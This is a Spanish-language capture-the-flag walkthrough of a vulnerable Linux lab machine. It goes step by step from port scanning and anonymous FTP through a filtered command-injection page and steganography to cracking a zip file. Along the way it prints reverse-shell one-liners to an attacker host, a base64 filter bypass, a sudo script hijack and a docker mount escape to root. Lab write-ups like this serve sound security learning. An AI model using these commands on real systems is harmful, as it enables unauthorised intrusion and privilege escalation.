Escaneo de puertos

```
nmap -p- --min-rate 5000 -sV <IP>
```

Info:

```
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-15 06:26 EDT
Nmap scan report for 192.168.195.139
Host is up (0.0023s latency).

PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rw-r--r--    1 1001     1001           90 Oct 03  2020 note.txt
| ftp-syst:
|   STAT:
| FTP server status:
|      Connected to ::ffff:192.168.195.128
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 3
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 09:f9:5d:b9:18:d0:b2:3a:82:2d:6e:76:8c:c2:01:44 (RSA)
|   256 1b:cf:3a:49:8b:1b:20:b0:2c:6a:a5:51:a8:8f:1e:62 (ECDSA)
|_  256 30:05:cc:52:c6:6f:65:04:86:0f:72:41:c8:a4:39:cf (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Game Info
MAC Address: 00:0C:29:C9:F6:DF (VMware)
Warning: OSScan results may be unreliable because we could not find at least 1 open
and 1 closed port
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.8
Network Distance: 1 hop
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   2.28 ms 192.168.195.139

OS and Service detection performed. Please report any incorrect results at
https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.43 seconds
```

ftp

```
ftp anonymous@<IP>
```

Dentro encontramos un archivo llamado `note.txt` nos lo descargamos a nuestro `host`...

```
get note.txt
```

Contiene...

```
Anurodh told me that there is some filtering on strings being put in the command -- Apaar
```

Ya veremos esta pista mas adelante...

Gobuster

```
gobuster dir -u http://<IP>/ -w <WORDLIST>
```

Info:

```
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.195.139/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirb/big.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.htpasswd            (Status: 403) [Size: 280]
/.htaccess            (Status: 403) [Size: 280]
/css                  (Status: 301) [Size: 316] [--> http://192.168.195.139/css/]
/fonts                (Status: 301) [Size: 318] [--> http://192.168.195.139/fonts/]
/images               (Status: 301) [Size: 319] [--> http://192.168.195.139/images/]
/js                   (Status: 301) [Size: 315] [--> http://192.168.195.139/js/]
/secret               (Status: 301) [Size: 319] [--> http://192.168.195.139/secret/]
/server-status        (Status: 403) [Size: 280]
Progress: 20469 / 20470 (100.00%)
===============================================================
Finished
===============================================================
```

Nos saca una ruta llamada `secret` por la cual podemos enviar comandos, pero para enviar una Reverse Shell no podemos hacer tan facil, ya que tienen delimitado muchos comandos, por lo que ingresaremos lo siguiente...

```
#Rever shell
sh -i >& /dev/tcp/<IP>/<PORT> 0>&1

echo <REVER_SHELL_BASE64> | base64 -d | /bin/bash

nc -lvnp <PORT>
```

Ya nos haria conexion con `www-data`, por lo que vamos a sanitizar nuestra shell...

```
script /dev/null -c bash

# <Ctrl> + <z>
stty raw -echo; fg
reset xterm
export TERM=xterm

# Para ver las dimensiones de nuestra consola en el Host
stty size

# Para redimensionar la consola ajustando los parametros adecuados
stty rows <ROWS> columns <COLUMNS>
```

Si te vas a `/var/www/files/images/` encontraras una iamgen llamada `hacker-with-laptop_23-2147985341.jpg` que si te la pasas a tu `host` y le sacas la informacion que contiene dejando el salvoconducto vacio te extraera un `backup.zip` con contraseña...

```
python3 -m http.server

wget http://<IP>:<PORT>/<IMG>
```

Para sacar los datos...

```
steghide extract -sf hacker-with-laptop_23-2147985341.jpg

#Seguidamente le das a <ENTER>
```

Info:

```
backup.zip
```

Utilizamos una herramienta para probar fuerza bruta a la password de un `.zip`...

```
sudo apt-get install fcrackzip

fcrackzip -u -D -p <WORDLIST> backup.zip
```

Info:

```
PASSWORD FOUND!!!!: pw == pass1word
```

Lo descomprimimos de la siguiente forma...

```
unzip backup.zip

#Password = pass1word
```

Nos mostrara un archivo llamado `source_code.php`

Info:

```
<html>
<head>
        Admin Portal
</head>
        <title> Site Under Development ... </title>
        <body>
```

```
                <form method="POST">
                        Username: <input type="text" name="name"
placeholder="username"><br><br>
                        Email: <input type="email" name="email"
placeholder="email"><br><br>
                        Password: <input type="password" name="password"
placeholder="password">
                        <input type="submit" name="submit" value="Submit">
                </form>
<?php
        if(isset($_POST['submit']))
        {
                $email = $_POST["email"];
                $password = $_POST["password"];
                if(base64_encode($password) == "IWQwbnRLbjB3bVlwQHNzdzByZA==")
                {
                        $random = rand(1000,9999);?><br><br><br>
                        <form method="POST">
                                Enter the OTP: <input type="number" name="otp">
                                <input type="submit" name="submitOtp" value="Submit">
                        </form>
                <?php   mail($email,"OTP for authentication",$random);
                        if(isset($_POST["submitOtp"]))
                                {
                                        $otp = $_POST["otp"];
                                        if($otp == $random)
                                        {
                                                echo "Welcome Anurodh!";
                                                header("Location:
authenticated.php");
                                        }
                                        else
                                        {
                                                echo "Invalid OTP";
                                        }
                                }
                }
                else
                {
                        echo "Invalid Username or Password";
                }
        }
?>
</html>
```

Vemos una contraseña codificada en Base64...

```
IWQwbnRLbjB3bVlwQHNzdzByZA== = !d0ntKn0wmYp@ssw0rd
```

A parte vemos que le da la bienvenida a un usuario llamado `anurodh` por lo que la contraseña es de ese usuario, nos conectaremos por `ssh` mejor para tener una shell mejor...

```
ssh anurodh@<IP>
```

Una vez dentro con este usuario si hacemos `sudo -l` veremos lo siguiente...

```
Matching Defaults entries for anurodh on ubuntu:
    env_reset, mail_badpass,
secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin

User anurodh may run the following commands on ubuntu:
    (apaar : ALL) NOPASSWD: /home/apaar/.helpline.sh
```

Por lo que si hacemos lo siguiente...

```
sudo -u apaar /home/apaar/.helpline.sh

#Dentro de la ejecuccion
Welcome to helpdesk. Feel free to talk to anyone at any time!

Enter the person whom you want to talk with: apaar
Hello user! I am apaar,  Please enter your message: cat local.txt
{USER-FLAG: e8vpd3323cfvlp0qpxxx9qtr5iq37oww}
Thank you for your precious time!
```

Podemos inyectar comandos y leer la flag del usuario...

```
{USER-FLAG: e8vpd3323cfvlp0qpxxx9qtr5iq37oww}
```

Si hacemos `chmod 777 .helpline.sh` autenticado como el otro usuario ya que podemos pondremos que con el usuario con el que estamos en este momento podamos escribir lo que queramos dentro del `.sh` y luego lo ejecutemos como `apaar`...

```
sudo -u apaar /home/apaar/.helpline.sh

#Comando ejecutado
chmod 777 .helpline.sh
```

Teniendo todos los permisos modificamos el archivo de la siguiente manera...

```
nano .helpline.sh

#Dentro del nano
#!/bin/bash

sh -i >& /dev/tcp/<IP>/<PORT> 0>&1
```

Y despues de hacer estas modificaciones...

```
nc -lvnp <PORT>

sudo -u apaar /home/apaar/.helpline.sh
```

Con esto ya tendriamos una shell como `apaar`...

Si ponemos el siguiente comando...

```
id anurodh

uid=1002(anurodh) gid=1002(anurodh) groups=1002(anurodh),999(docker)

docker ps -a

CONTAINER ID        IMAGE               COMMAND             CREATED
STATUS                  PORTS               NAMES
```

```
9b859d23108f        hello-world         "/hello"            3 years ago
Exited (0) 3 years ago                      quizzical_perlman

docker run -it --rm -v /:/mnt alpine chroot /mnt sh
```

Con esto ya seriamos `root` por lo que leemos la flag...

proof.txt (ultima_flag)

```
{ROOT-FLAG: w18gfpn9xehsgd3tovhk0hby4gdp89bg}
```